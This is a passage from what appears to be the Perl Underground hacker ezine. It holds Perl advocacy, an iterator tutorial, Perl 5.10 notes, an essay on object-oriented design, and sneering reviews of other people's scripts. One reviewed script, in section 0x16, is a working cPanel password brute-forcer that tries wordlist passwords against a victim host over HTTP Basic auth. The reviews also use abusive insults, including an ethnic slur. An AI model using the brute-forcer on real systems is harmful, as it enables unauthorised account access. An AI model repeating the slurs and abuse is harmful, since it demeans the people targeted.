3562This can be blamed, in large part, on Perl not having any shocking fresh
3563releases recently. Au contraire, we have been waiting on Perl 6 for a
3564long, long time.
3565
3566Perl is further hindered by its history: who wants to use the web language
3567of the 1990s? In the 90s, when people wanted to write truly horrible HTML
3568generators, they came to Perl. If this is the Perl you remember, it's time
3569to take a step back and realize how much more Perl was, and how much more
3570it is today.
3571
3572I'm here to tell you the inside part of that story. Perl can more than
3573compete with other current languages. Further, Perl is an elite language,
3574above and beyond its competitors in significant ways.
3575
3576Perl has been around for 20 years. 20 years of development. Ruby and PHP
3577are just trying to grasp unicode, for Christ's sake. That's a long way
3578from Perl having NATIVE unicode support since 2000. Just how much better
3579Perl's unicode support is (a LOT better) could fill another rant, but that
3580isn't the point - it is just an example of Perl's maturity.
3581
3582See, maturity is an important concept. If you code Perl, you can build off
3583of 20 years of Perl-specific knowledge. The understanding of best practices
3584in Perl has evolved to an art form. Many of the very gurus who slowly
3585developed their knowledge over this time are still around, easily
3586accessible. The actual Perl interpreter is something to be admired, and has
3587undergone so many years of inspection (but is *still* being improved
3588internally, including many ways for Perl 5.10).
3589
3590Perl has CPAN (or "the CPAN" to purists). CPAN is an archive of Perl
3591modules, and no other language has anything like it at that scale. CPAN
3592has over 13,000 modules. Many of these have been developed for years, and
3593are very stable. There are even websites out there to critique Perl modules,
3594and evaluate their code quality. To put this in perspective, Python has a
3595"package index", pypi, with over 3500 packages. However, these aren't
3596modules - many are just random pieces of Python that currently complete some
3597task. Some are good, but the general level of quality is much lower than the
3598Perl source on CPAN. And they lack the amount or the time of review that
3599happens with Perl modules. This isn't a knock on Python - you'd be hard
3600pressed to find another language that does better in these areas. Perl is
3601just way ahead of the field when it comes to libraries and community.
3602
3603Why does this matter? Because if you use almost any language, you end up
3604in Lone Ranger mode - you have a base set of tools that you can trust, but
3605otherwise you are on your own. C is an obvious example, where you have a
3606slim standard library for small tasks, and you can probably find some code
3607online that does something like what you want to do. Coding in Python is
3608like this, just to a lesser degree. You might find what you want on Pypi,
3609if you're not doing something too original, but it could be shady, badly
3610designed, unreliable, and very poorly investigated.
3611
3612On the other hand, in Perl you have a wide variety of well-established
3613modules, that are not only good, but are likely to be better than you
3614would make. You are not only creating more stable code by building off of
3615others' code, but you are more likely to be coding more "high level". That
3616is, focusing on issues of structure, design, interface, and others.
3617
3618Perl is well-documented. Very well-documented. Everything from the
3619internal workings, to the internal API, to the language, to the language
3620functions, to any respectable module, to everything else, is documented. On
3621top of that, the world has built up an incredible amount of archived Perl
3622information.
3623
3624Perl is portable. Your Perl code is very likely to work on any box that
3625has Perl installed, and has the modules you need. Perl (the program) will
3626compile on a massive list of operating systems. You can find pre-compiled
3627binaries for a similar list, see http://www.cpan.org/ports/. Most Perl code
3628will not need modifications to work on other operating systems, let alone
3629modifications just to "compile" it (like you would with much C).
3630
3631The language itself is very powerful. You can chain references as deep as
3632you want to create any kind of data structure you would like. You can
3633generate and pass anonymous subroutines. Perl has better regular
3634expressions than anywhere else, and have continued to lap the field with
3635Perl 5.10 improvements. Modules are easy to create and inherit from. The
3636language is incredibly flexible to use, and everything is easy. And on and
3637on and on.
3638
3639Perl makes it much easier to write correct and secure code than most
3640languages. On top of simply being a well-developed, mature, interpreted
3641language, Perl provides strict, warnings, and taint mode to assist you.
3642
3643Coding in Perl goes long past just trying to make it work - that's often
3644incredibly easy. Perl coding becomes about just how to make it work, to be
3645clean, resource friendly, and maintainable. Combined with the extensive
3646code archive and well-established practices, Perl is a very high-level
3647language.
3648
3649Perl is popular. It doesn't have the popularity of C*, .NET, or Java, but
3650it also doesn't have massive corporate backing nor is it taught
3651extensively by colleges. Perl is the king of interpreted languages, and if
3652you are a good coder who codes good Perl, there is a job out there for you.
3653
3654So if you are tired of dealing with the bugs of your language, or you're
3655tired of spending a majority of your coding effort on menial tasks, try
3656Perl. Look at other languages too - Python, Ruby, C, Java, these are all
3657fine languages with positive sides, and they might be right for your
3658project. But don't hold an old, outdated, prejudice against Perl. Remember
3659that while other languages have developed quickly, they are still playing
3660catch-up, while the last few years of work on Perl can be seen as invested
3661in Perl 5.10 and Perl 6, both of which are big improvements from whatever
3662Perl you remember.
3663
3664
3665-[0x12] # Some wit about iterators ---------------------------------------
3666
3667Recursive algorithms are often simple and intuitive. Unfortunately, they
3668are also often explosive in terms of memory and execution time required.
3669
3670Take, for example, the N-choose-M algorithm:
3671
3672# Given a list of M items and a number N,
3673# generate all size-N subsets of M
3674sub choose_n {
3675 my $n = pop;
3676 # Base cases
3677 return [] if $n == 0 or $n > @_;
3678 return [@_] if $n == @_;
3679 # otherwise..
3680 my ($first, @rest) = @_;
3681 # combine $first with all N-1 combinations of @rest,
3682 # and generate all N-sized combinations of @rest
3683 my @include_combos = choose_n(@rest, $n-1);
3684 my @exclude_combos = choose_n(@rest, $n);
3685 return ( (map {[$first, @$_]} @include_combos)
3686 , @exclude_combos );
3687}
3688
3689Great, as long as you don't want to generate all 10-element subsets of a
369020-item list. Or 45-choose-20. In those cases, you will need an iterator.
3691Unfortunately, iteration algorithms are generally completely unlike the
3692recursive ones they mimic. They tend to be a lot trickier.
3693
3694But they don't have to be. You can often write iterators that look like
3695their recursive counterparts  they even include recursive calls  but
3696they don't suffer from explosive growth. That is, they'll still take a
3697long time to get through a billion combinations, but they'll start
3698returning them to you right away, and they won't eat up all your memory.
3699
3700The trick is to create iterators to use in place of your recursive calls,
3701then do a little just-in-time placement of those iterator creations.
3702So let's take a first stab at choose_n. First, our base cases are going to
3703be subs that return whatever they were returning before, but after
3704returning those values once, they don't return anything anymore:
3705
3706sub iter_choose_n {
3707 my $n = pop;
3708 # Base cases
3709 my $once = 0;
3710 return sub {$once++ ? () : []} if $n == 0 or $n > @_;
3711 my ($first, @rest) = @_;
3712 return sub {$once++ ? () : [$first, @rest]} if $n == @_;
3713
3714Apart from the iterator trappings, we've got essentially what we had
3715before. Converting the map into an iterator involves some similar work,
3716but the parallels are still pretty obvious. We exhaust the first iterator
3717before turning to the second:
3718
3719 # otherwise..
3720 my $include_iter = iter_choose_n(@rest, $n-1);
3721 my $exclude_iter = iter_choose_n(@rest, $n);
3722 return sub {
3723 if (my $set = $include_iter->()) {
3724 return [$first, @$set];
3725 }
3726 else {
3727 return $exclude_iter->();
3728 }
3729 }
3730
3731We now have a recursively-defined iterator that wasn't a heck of a lot
3732more complex than our original algorithm. That's the good news. The bad
3733news is: it's still doubly recursive, O(2^N) in space and time, and so
3734will take a long time to start generating data. Time for a little trick.
3735Because we don't use $exclude_iter until we've exhausted $include_iter, we
3736can delay defining it:
3737
3738 # otherwise..
3739 my $include_iter = iter_choose_n(@rest, $n-1);
3740 my $exclude_iter;
3741 return sub {
3742 if (my $set = $include_iter->()) {
3743 return [$first, @$set];
3744 }
3745 else {
3746 $exclude_iter ||= iter_choose_n(@rest, $n);
3747 return $exclude_iter->();
3748 }
3749 }
3750}
3751
3752Now our code is singly recursive, O(N) in space and time to generate an
3753iterator, and that makes a big difference. Big enough that you probably
3754won't need to go to the trouble of coming up with an O(1) truly iterative
3755solution.
3756
3757Of course, if you complete the iterations, eventually you will have
3758generated those 2^N subs, and they'll clog up your memory. You may not be
3759concerned about that (you may not be expecting to perform all that many
3760iterations), but if you are, you can put a little code in to free up
3761exhausted iterators:
3762
3763 # otherwise..
3764 my $include_iter = iter_choose_n(@rest, $n-1);
3765 my $exclude_iter;
3766 return sub {
3767 if ($include_iter and my $set = $include_iter->()) {
3768 return [$first, @$set];
3769 }
3770 else {
3771 if ($include_iter) {
3772 undef $include_iter;
3773 $exclude_iter = iter_choose_n(@rest, $n);
3774 }
3775 return $exclude_iter->();
3776 }
3777 }
3778}
3779
3780
3781-[0x13] # Some gumhead named Gumbie --------------------------------------
3782
3783=pod
3784From: superheroes@hushmail.com
3785
3786Subject: Your zine
3787
3788Fellow dispensers of justice,
3789
3790Not all of our spoils from our hacks make it into our zine. Some of them are
3791left out simply because they are dull; others are left out due to space
3792constraints and still others are omitted because we cannot think of a good
3793way to present them, or we know someone who can do it better.
3794
3795This is one such case. During our romp through the HellBound Hackers' IRC
3796network, we came across this Perl script that one of the IRC opers/server
3797admins there (specifically Gumbie) had written in an attempt to catch
3798people running privileged processes on his servers.
3799
3800The code quality was terrible, and provided us for a good laugh. There were
3801also various design issues. Come on, a monitoring program that does no
3802integrity checking of its logs or itself? Not to mention that the whole
3803concept of the program screams "1992".
3804
3805In any event, we decided to email this to you, and let the real experts
3806of the field handle this one. Hope it amuses you as well as your readers.
3807
3808
3809--ZF0
3810=cut
3811
3812# Sure thing.
3813# For future reference, we encourage material contributions (and rarely
3814# turn them down, even if the target is some random loser we've never
3815# heard of.
3816
3817# Did you do all this tabbing yourselves or did it come like this?
3818
3819#!/usr/bin/perl
3820
3821 # Dump all the information in the current process table
3822 use Proc::ProcessTable;
3823
3824 # Oh god, package variables! Run for your lives!
3825 $t = new Proc::ProcessTable;
3826 @list = ""; # Now that's eleet right there.
3827 @exclude = (1001); # ... and so is that
3828
3829 foreach $p (@{$t->table}) { # Not bad.. but foreach() ? C'mon...
3830 # get with the times! for()
3831# print "--------------------------------\n";
3832 # fill array will all the euid root procs
3833 foreach $f ($t->fields){ # See the above comment
3834# print $f, ": ", $p->{$f}, "\n";
3835 if (($f =~ /euid/) && ($p->{$f} eq 0)){ # && eh? Try using the
3836 # 'and' operator. And way to use a string comparison
3837 # expression in a numeric comparison.
3838 push(@list, $p); # Learn Perl's grep, cum rag.
3839 }
3840 }
3841 }
3842
3843#print @list
3844 foreach $p (@list) { # You really like foreach(), don't you?
3845# print "--------------------------------\n";
3846# print "pid: ", $p->{pid}, " uid: ", $p->{uid}, " euid: ",
3847$p->{euid}, " ppid: ";
3848# print $p->{ppid}, " ", $p->{cmndline}, "\n";
3849
3850 # Find all the ones not direct children of init
3851 if (($p->{ppid} != 1) && ($p->{ppid} != 0)) {
3852# Hey, you got the right comparison types! But you still used &&
3853# and you didn't need the != 0 in the second
3854# Or just do -> if
3855($p->{ppid} > 1)
3856# print "pid: ", $p->{pid}, " ppid: ", $p->{ppid}, "\n";
3857 push(@cmp, $p); # Do all these arrays bother anyone else?
3858 }
3859 }
3860 # Lets find all the parent owners
3861 foreach $c (@cmp) {
3862 foreach $p (@{$t->table}) {
3863#print $p->{pid},"\n";
3864 if ($c->{ppid} eq $p->{pid}) { # Again, it's a PID, therefore
3865it's *numeric*. Why are you using eq ?
3866 if (($p->{ppid} != 1) && ($p->{ppid} != 0)) {
3867# if ($p->{ppid} > 1) {
3868#print $p->{ppid}, "\n";
3869 foreach $o (@{$t->table}) { # Good god...
3870 if ($o->{pid} eq $p->{ppid}) {
3871#print $o->{pid}, "\n";
3872 $puid = $o->{uid};
3873 }
3874 } # if ($puid) {
3875 if ($puid != 0) {
3876 undef $flag; # Real slick gumbie. Real slick.
3877 foreach $e (@exclude) {
3878 if ($e eq $puid) { $flag = 1; }
3879# Yea. That's totally how we do oneline if()'s in Perl.
3880 }
3881 if (!defined($flag)) {
3882# Lose the '!' and go with 'not'. And you don't need the defined() function
3883 print "e: ", $e, " pid: ", $p->{pid}, " ppid: ",
3884$p->{ppid}; # No newline?
3885 print " puid: ", $puid, " Name: ",$p->{cmndline},
3886"\n";
3887 #kill SIGKILL, $p->{pid};
3888 $date = `date`;
3889# Because Perl doesn't have builtin functions for that.
3890 chomp $date; # Because you can't oneline that.
3891 open(LOGFILE, ">>/home/gumbie/.sec/log");
3892# What is it with people's obsession with not using the three
3893# argument open() call or checking its return status?
3894 print LOGFILE "<===Tiggered by UID: $puid, PID
3895$p->{pid} killed successfully at $date ===>\n\n";
3896# Anyone want to edit a logfile?
3897 close LOGFILE;
3898 }
3899 undef $flag; # Nice. Classy.
3900 }
3901 }
3902 }
3903 }
3904 }
3905
3906# No exit?
3907# Wow that was shitty. All those pointless loops and random variables. It
3908# was a nightmare to follow.
3909# Please, gumbie, do the world a favor and never code anything ever again.
3910
3911
3912-[0x14] # The promised Perl 5.10 details, from grinder -------------------
3913
3914Here are some things of the top of my head that I think are pretty cool:
3915
3916state variables
3917 No more scoping variables with an outer curly block, or the
3918 naughty my $f if 0 trick (the latter is now a syntax error).
3919defined-or
3920 No more $x = defined $y ? $y : $z, you may write $x = $y // $z
3921 instead.
3922regexp improvements
3923 Lots of work done by dave_the_m to clean up the internals, which
3924 paved the way for demerphq to add all sorts of new cool stuff.
3925smaller variable footprints
3926 Nicholas Clark worked on the implementations of SVs, AVs, HVs and
3927 other data structures to reduce their size to a point that happens
3928 to hit a sweet spot on 32-bit architectures
3929smaller constant sub footprints
3930 Nicholas Clark reduced the size of constant subs (like use
3931 constant FOO => 2). The result when loading a module like POSIX is
3932 significant.
3933stacked filetests
3934 you can now say if (-e -f -x $file). Perl 6 was supposed to allow
3935 this, but they moved in a different direction. Oh well.
3936lexical $_
3937 allows you to nest $_ (without using local).
3938_ prototype
3939 you can now declare a sub with prototype _. If called with no
3940 arguments, gets fed with $_ (allows you to replace builtins more
3941 cleanly).
3942x operator on a list
3943 you can now say my @arr = qw(x y z) x 4. (Update: this feature was
3944 backported to the 5.8 codebase after having been implemented in blead,
3945 which is how Somni notices that it is available in 5.8.8).
3946switch
3947 a true switch/given construct, inspired by Perl 6
3948smart match operator (~~)
3949 to go with the switch
3950closure improvements
3951 dave_the_m thoroughly revamped the closure handling code to fix a
3952 number of buggy behaviours and memory leaks.
3953faster Unicode
3954 lc, uc and /i are faster on Unicode strings. Improvements to the
3955 UTF-8 cache.
3956improved sorts
3957 inplace sorts performed when possible, rather than using a
3958 temporary. Sort functions can be called recursively: you can sort a
3959 tree
3960map in void context
3961 is no longer evil. Only morally.
3962less opcodes
3963 used in the creation of anonymous lists and hashes. Faster pussycat!
3964tainting improvements
3965 More things that could be tainted are marked as such (such as
3966 sprintf formats)
3967$# and $* removed
3968 Less action at a distance
3969perlcc and JPL removed
3970 These things were just bug magnets, and no-one cared enough about
3971 them.
3972
3973update: ok, in some ways that's just a rehash of perldelta, here's the
3974executive summary:
3975
3976There has been an awful lot of refactoring done under the hood. Andy
3977"petdance" Lester added const to just about everything that it was
3978possible to do, and in the process uncovered lots of questionable
3979practices in the code. Similarly, Nicholas Clark and Dave Mitchell nailed
3980down many, many, many memory leaks.
3981
3982Much of the work done to the internals results in a much more robust
3983engine. Far likelier err, less likely, to leak, or, heavens forbid, dump
3984core. If you have long running processes that chew through datasets and/or
3985use closures heavily, that is a good reason to upgrade.
3986
3987For new developments, there are a number of additions at the syntax level
3988that make writing Perlish code even better. Things like Mark-Jason
3989Dominus's book on Higher Order Perl makes heavy use of constructs such as
3990closures that tend to leak in 5.8. If this style of programming becomes
3991more widespread (and I hope it does, because it allows one to leverage the
3992power of the language in extraordinary ways) then 5.10 will be a better
3993fit.
3994
3995Years ago, having been bitten by nasty things in 5.6, I asked Does 5.8.0
3996suck?. As it turns out, it didn't. I think that 5.10 won't suck, either.
3997One big thing that has changed then is that far more people are smoking
3998all sorts of weird combinations of build configurations on a number of
3999different platforms, and many corrections are being made as a result of
4000that. Things that otherwise would have forced a 5.10.1 to be pushed out in
4001short order.
4002
4003
4004-[0x15] # Reading material -----------------------------------------------
4005
4006There is a common misinterpretation that Perl Underground is just here to
4007make people feel bad about themselves. That isn't true. We're genuinely
4008interested in advocating Perl use, and improved Perl programming. We just
4009aren't being nice about it. Then again, the people who talk shit about us
4010probably just read the TOC and the insults of themselves or people they
4011know.
4012
4013People need to go back to the basics. Read some documentation. I'll even
4014provide links to the cute online perldoc.
4015
4016Syntax - http://perldoc.perl.org/perlsyn.html
4017Data types - http://perldoc.perl.org/perldata.html
4018Subroutines - http://perldoc.perl.org/perlsub.html
4019Operators - http://perldoc.perl.org/perlop.html
4020Functions - http://perldoc.perl.org/perlfunc.html
4021Regex - http://perldoc.perl.org/perlre.html
4022References - http://perldoc.perl.org/perlref.html
4023Structures - http://perldoc.perl.org/perldsc.html
4024
4025That's a really great list to go over. There's something entertaining for
4026everybody. Some have been updated for Perl 5.10. Have some fun and read
4027everything else on perldoc.perl.org.
4028
4029
4030-[0x16] # Hessam-x needs schooling (and not just for English) ------------
4031
4032Perl Underground talk about exploiters perl codes. in this ezine they
4033focused on bad perl codes. this is really nice .
4034Read this ezine on milw0rm.com
4035
4036# The above quote comes from Hessam-x' website from quite a while back.
4037# It's good that he likes our zine, we like that, but all the more reason
4038# to make sure he improves his Perl!
4039
4040#!/usr/bin/perl
4041# Cpanel Password Brute Forcer
4042# ----------------------------
4043# (c)oded By Hessam-x
4044# Perl Version ( low speed )
4045# Oerginal Advisory :
4046# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
4047use IO::Socket;
4048use LWP::Simple;
4049use MIME::Base64;
4050
4051# Need we say it? strict and warnings.
4052
4053# my ($host, $user, $port, $list, $file) = @ARGV;
4054# you could at least be shifting
4055$host = $ARGV[0];
4056$user = $ARGV[1];
4057$port = $ARGV[2];
4058$list = $ARGV[3];
4059$file = $ARGV[4];
4060$url = "http://".$host.":".$port;
4061
4062# Do this check BEFORE the assignments
4063if(@ARGV < 3){
4064
4065# I like the random capitalization decisions.
4066print q(
4067###############################################################
4068# Cpanel Password Brute Force Tool #
4069###############################################################
4070# usage : cpanel.pl [HOST] [User] [PORT] [list] [File] #
4071#-------------------------------------------------------------#
4072# [Host] : victim Host (simorgh-ev.com) #
4073# [User] : User Name (demo) #
4074# [PORT] : Port of Cpanel (2082) #
4075# [list] : File Of password list (list.txt) #
4076# [File] : file for save password (password.txt) #
4077# #
4078###############################################################
4079# (c)oded By Hessam-x / simorgh-ev.com #
4080###############################################################
4081);exit;}
4082
4083headx();
4084
4085# Why would you quote a number? Because it's negative??
4086$numstart = "-1";
4087
4088sub headx() {
4089print q(
4090###############################################################
4091# Cpanel Password Brute Force Tool #
4092# (c)oded By Hessam-x / simorgh-ev.com #
4093###############################################################
4094);
4095
4096# Put some of your own fucking blank lines in here
4097# Not to mention either your adamant refusal to indent, or your
4098# inability to publish on the internet. We don't care to figure
4099# out which one is screwing this code.
4100
4101# Lame open format, and lame that you just read and then process.
4102# while ( <$passfile> ) { # etc
4103open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
4104@PASSWORDS = <PASSFILE>;
4105close PASSFILE;
4106foreach my $P (@PASSWORDS) {
4107chomp $P; # uh...
4108$passwd = $P; # uh...
4109print "\n [~] Try Password : $passwd \n";
4110&brut;
4111};
4112}
4113sub brut() {
4114# How about you learn how to send parameters to functions, retard
4115$authx = encode_base64($user.":".$passwd);
4116print $authx;
4117
4118# How could you recommend PU and not even know to not
4119# unnecessarily quote variables?
4120my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host",
4121 PeerPort => "$port") || print "\n [-] Can not connect to the host";
4122
4123# Is it offtopic to point out that you should have a host request,
4124# and be using CRLFs, for starters?
4125print $sock "GET / HTTP/1.1\n";
4126print $sock "Authorization: Basic $authx\n";
4127print $sock "Connection: Close\n\n";
4128read $sock, $answer, 128;
4129close($sock);
4130
4131if ($answer =~ /Moved/) {
4132print "\n [~] PASSWORD FOUND : $passwd \n";
4133exit();
4134}
4135}
4136
4137# Was there a single line in that whole script that didn't suck like a horny
4138# paki? Short and shitty. We went extra easy because you're a fan :-D
4139
4140
4141-[0x17] # Ovid discusses object-oriented programming ---------------------
4142
4143NAME
4144
4145Often Overlooked Object Oriented Programming Guidelines
4146
4147SYNOPSIS
4148
4149The following is not about how to write OO code in Perl. There's plenty of
4150nodes covering that topic. Instead, this is a general list of tips that I
4151like to keep in mind when I'm writing OO code. It's not exhaustive, but it
4152does cover a number of areas that I see many people (including myself),
4153get wrong or overlook.
4154
4155PROBLEMS
4156
4157Useless OO
4158
4159Don't use what you don't need.
4160Don't use OO if you don't need it. No sense in creating an object if there
4161is nothing to encapsulate.
4162
4163 sub new {
4164 my ($class,%data) = @_;
4165 return bless \%data, $class;
4166 }
4167
4168This constructor is not unusual, but it's suggestive of a useless use of
4169OO. A good example of this is Acme::Playmate (er, maybe not the best
4170example). The module is comprised of a constructor. That's it. And here's
4171the documented usage:
4172
4173 use Acme::Playmate;
4174
4175 my $playmate = new Acme::Playmate("2003", "04");
4176
4177 print "Details for playmate " . $playmate->{ "Name" } . "\n";
4178 print "Birthdate" . $playmate->{ "BirthDate" } . "\n";
4179 print "Birthplace" . $playmate->{ "BirthPlace" } . "\n";
4180
4181Regardless of whether or not you feel this is a useful module, there's
4182nothing OO about it. In fact, with the exception of methods this module
4183inherits from UNIVERSAL::, it has no methods other than the constructor.
4184All it does is return a data structure that just happens to be blessed
4185(the jokes are obvious; we don't need to go there).
4186
4187Of course, this is merely an Acme:: module, so discussing how well a joke
4188conforms to good programming practices is probably not warranted, but read
4189through Damian Conway's 10 Rules for When to Use OO to get a good feel for
4190when OO is appropriate.
4191
4192Object Heirarchy
4193
4194Don't subclass simply to alter data
4195
4196Subclass when you need a more specific instance of a class, not just to
4197change data. If you do that, you simply want an instance of the object,
4198not a new class. Subclass to alter or add behavior. While I don't see this
4199problem a lot, I see it enough that it merits discussion.
4200
4201 package Some::User;
4202
4203 sub new {
4204 bless {}, shift;
4205 }
4206 sub user { die "user() must be implemented in subclass" }
4207 sub pass { die "pass() must be implemented in subclass" }
4208 sub url { die "url() must be implemented in subclass" }
4209
4210On the surface, this might appear to simply be an interface that will be
4211used as a base class for a set of classes. However, sometimes people get
4212confused and simply override those methods to return data:
4213
4214 package Some::User::Foo;
4215 sub user { 'bob' }
4216 sub pass { 'seKret' }
4217 sub url { '<a href="http://somesite.com/">http://somesite.com/</a>' }
4218
4219There's really no reason for that. Make it an instance:
4220
4221 my $foo = Some::User->new('Foo');
4222
4223Thus, if you need to change how things work internally, you're doing that
4224on only one class rather than hunting through a bunch of useless
4225subclasses.
4226
4227Law of Demeter
4228
4229The Law of Demeter simply states that you should only talk to your
4230immediate friends -- using a chain of method calls to navigate an object
4231heirarchy is begging for trouble. For example, if an office object has a
4232manager object, an instance of that manager might have a name.
4233
4234 print $office->manager->name;
4235
4236That seems all fine and dandy. Now, imagine that you have that in 20
4237places in your code, but in the manager class, someone changes name to
4238full_name. Because the code using the office object was forced to walk
4239through the object heirarchy to get at the data it actually needs, you've
4240created fragile code. Now the manager class must support a name method to
4241be backwards compatible (and we get to start on our big ball of mud), or
4242every reference to it must be changed -- but we've created far too many.
4243
4244The solution is to do this:
4245
4246 print $office->manager_name; # manager_name calls $manager->name
4247
4248Now, instead of hunting down all of the places where this was accessed,
4249we've limited this call to one spot and made maintenance much easier. This
4250can, however, lead to code bloat. Make sure you understand the tradeoffs
4251involved.
4252
4253Liskov substitution principle
4254
4255While there is disagreement over what this means, this principle states
4256(paraphrasing) that a subclass must present the same interface as its
4257superclass. Some argue that the behavior or subclasses (or subtypes)
4258should not change, though I feel that with proper encapsulation, this
4259distinction goes away. For example, imagine a cash register program where
4260a person's order is paid via a combination of credit card, check, and cash
4261(such as when three people annoy the waiter by splitting the bill).
4262
4263 foreach my $tender (@tenders) {
4264 $tender->apply($order);
4265 }
4266
4267In this case, let's assume there is a Tender::Cash superclass and
4268subclasses along the lines of Tender::CreditCard and
4269Tender::LetsHopeThisDoesntBounce. The credit card and check classes can be
4270used exactly as if they were cash. Their apply() methods are probably
4271different internally, but every method that's available for cash should be
4272available for the subclasses and data which is returned should be
4273identical in form. (this might be a bad example as a generic Tender
4274interface may be more appropriate).
4275
4276Another example is HTML::TokeParser::Simple. This is a drop-in replacement
4277for HTML::TokeParser. You don't need to change the actual code, but you
4278can then use all of the extra nifty features built in.
4279
4280Methods
4281
4282Don't encourage promiscuous behavior
4283Hide your data, even that data which is public. Provide setters and
4284getters for properties (accessors and mutators, if you prefer), rather
4285than allowing people to reach into the object. Use these internally, too.
4286You need them as much as users of your code need them.
4287
4288 $object->{foo};
4289
4290This is a common idiom, but it's an example of an anti-pattern. What
4291happens when you want to change that to an array ref? What happens when
4292you want to use inside-out objects? What happens when you want to validate
4293an assignment to this value?
4294
4295All of these issues and more crop up when you let people reach into the
4296object. One of the major points of OO programming is to allow proper
4297encapsulation of what's going on inside of the object. As soon as you let
4298your defensive programming guard down, you're going to get bug reports.
4299Use proper methods to handle this:
4300
4301 $object->foo;
4302 $object->set_foo($foo);
4303
4304Don't expose state if you don't have to.
4305
4306 if ($object->error) {
4307 $object->log_errors
4308 } # bad!
4309
4310Whoops! Now we have a problem. Not only does every place in the code that
4311might want to log errors have to first check if those errors exist, your
4312log_errors method might erroneously assume that this has been checked.
4313Check the state inside of the method.
4314
4315 sub log_errors {
4316 my $self = shift;
4317 return $self unless $self->error;
4318 $self->_log_errors;
4319 }
4320
4321Better yet, there's a good chance that you're not concerned about the
4322error log at runtime, so you could simply specify an error log in your
4323constructor (or have the class use a default log), and let the module
4324handle all of that internally.
4325
4326 sub connect {
4327 my $self = shift;
4328 unless ($self->_get_rss_feed) {
4329 $self->_log_errors;
4330 $self->_fetch_cached_copy;
4331 }
4332 $self;
4333 }
4334
4335In the above example, there's an error that should be noted, but since a
4336cached copy of data is acceptable, there's no need for the program to deal
4337with this directly. The object notes the problem internally, adopts a
4338fallback remedy and everything is peachy.
4339Keep your data structures uniform
4340(I saw this on use.perl but I can't remember who posted it)
4341
4342Assuming that a corresponding mutator exists, accessors should return a
4343data structure that the mutators will accept. The following must always
4344work:
4345
4346 $object->set_foo( $object->get_foo );
4347
4348Failure to do this will cause no end of grief for programmers who assume
4349that that the object accepts the data structures that it emits.
4350
4351Debugging
4352
4353$object->as_string
4354
4355Create a method (be cautious about overloading string conversions for
4356this) to dump the state of an object. Many simply use YAML or
4357Data::Dumper, but having a nice, human readable format can mean a world of
4358difference when trying to debug a problem.
4359
4360Here's the YAML dump of a hypothetical product. Remember that, amongst
4361other things, YAML is supposed to be human-readable.
4362 --- #YAML:1.0 !perl/Product
4363 bin: 19
4364 data:
4365 category: 7
4366 cost: 2.13
4367 name: Shirt
4368 price: 3.13
4369 id: 7
4370 inv: 22
4371 modified: 0
4372
4373Now here's hypothetical as_string() output that might be used in debugging
4374(though you might want to tailor the method for public display).
4375 Product 7
4376 Name: Shirt
4377 Category: Clothing (7)
4378 Cost: $2.13
4379 Price: $3.13
4380 On-hand: 22
4381 Bin: Aisle 3, Shelf 5b (19)
4382 Record not modified
4383
4384That's easier to read and, by doing lookups on the category and bin ids,
4385you can present output that's easier to understand.
4386
4387Test
4388
4389I've saved the best for last for a good reason. Write a full set of tests!
4390One of the nicest things about tests is that you can ask someone to run
4391them if they submit a bug report. Failing that, it's a perfect way to
4392ensure that a bug does not return, that your objects behave as documented
4393and that you don't have ``extra features'' that you weren't expecting.
4394
4395One of the strongest objections to OO perl is the idiomatic object
4396constructor:
4397
4398 sub new {
4399 my ($class, %data) = @_;
4400 bless \%data => $class;
4401 }
4402
4403Which can then be followed with:
4404 sub set_some_property {
4405 my ($self, $property) = @_;
4406 $self->{some_prorety} = $property; # (sic)
4407 return $self;
4408 }
4409
4410 sub some_property { $_[0]->{some_property} }
4411
4412And the tests:
4413 ok($object->set_some_property($foo),
4414 'Setting a property should succeed');
4415 is($object->some_property, $foo,
4416 "... and fetching it should also succeed");
4417
4418Because blessing a hash reference is the most common method of creating
4419objects in Perl, we lose many of the benefits of strict. However, a proper
4420test suite will catch issues like this and ensure that they don't recur.
4421On a personal note, I've noticed that since I've begun testing, I
4422sometimes forget to use strict, but my code has not been suffering for it.
4423In fact, sometimes it's better because I frequently write code for which
4424strict would be a hassle, but that's another example of where the rules
4425get broken, but they're broken because the programmer knows when to break
4426them.
4427
4428Yet another fascinating thing about tests is the freedom they give you. If
4429you have a comprehensive test suite, you can start taking liberties with
4430your code in a way that you haven't before. Are you having performance
4431problems because you're using an accessor in the bottom of a nested loop?
4432If the object is a blessed hashref, you might get quite a performance
4433boost by just ``reaching inside'' and grabbing the data you need directly.
4434While many will tell you this is a no-no, the reason they mention this is
4435for maintainability. However, a good test suite will protect you against
4436many of the maintainability problems you may face (though it still won't
4437make fixing your encapsulation violations any easier once you are bitten).
4438
4439That last paragraph might sound a bit curious. Is Ovid really telling
4440people it's OK to violate encapsulation, particularly after he pointed out
4441the evils of it?
4442
4443Yes, I am saying that. I'm not recommending that, but one thing that often
4444gets lost in the shuffle when ``paradigm'' flame wars begin is that
4445programming is a series of compromises. Rare indeed is the programmer who
4446has claimed that she's never compromised the integrity of her code for
4447performance, cost, or deadline pressures. We want to have a perfect system
4448that people will ``ooh'' and ``aah'' over, but when you see the boss
4449coming down the hall with a worried look, you realize that the latest
4450nasty hack is going to make its way into production. Tests, therefore, are
4451your friend. Tests will tell you if the nasty little hack works. Tests
4452will tell you when the nasty little hack breaks.
4453
4454Test, damn you!
4455
4456
4457CONCLUSION
4458
4459Many Perl programmers, including myself, learned Perl's OO syntax without
4460knowing much about object-oriented programming. It's worth picking up a
4461book or two and doing some reading about OO theory and pick up some of the
4462tricks that, upon reflection, seem so obvious. Let the object do the work
4463for you. Hide its internals carefully and don't force the programmer to
4464worry about the object's state. All of the guidelines above can be broken,
4465but knowing about them and why you want to follow them will tell you when
4466it's OK to break them.
4467
4468Update: I really should have called this "Often Overlooked Object Oriented
4469Observations". Then we could refer to this node as "'O'x5".
4470
4471Cheers,
4472Ovid
4473
4474
4475-[0x18] # TS/SCI Security, 'cause we need more bullshit ------------------
4476
4477#!/usr/bin/perl
4478use strict;
4479use File::Find;
4480
4481# Kickass spacing there. And you forgot to enable warnings.
4482
4483# Get date and open log
4484my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); # Wow...
4485my $date = sprintf("%4d-%02d-%02d", $year+1900, $mon+1, $mday); # ...
4486my $logname = sprintf("audit-%4d%02d%02d.log", $year+1900, $mon+1, $mday);
4487my $logdir = '~/log/';
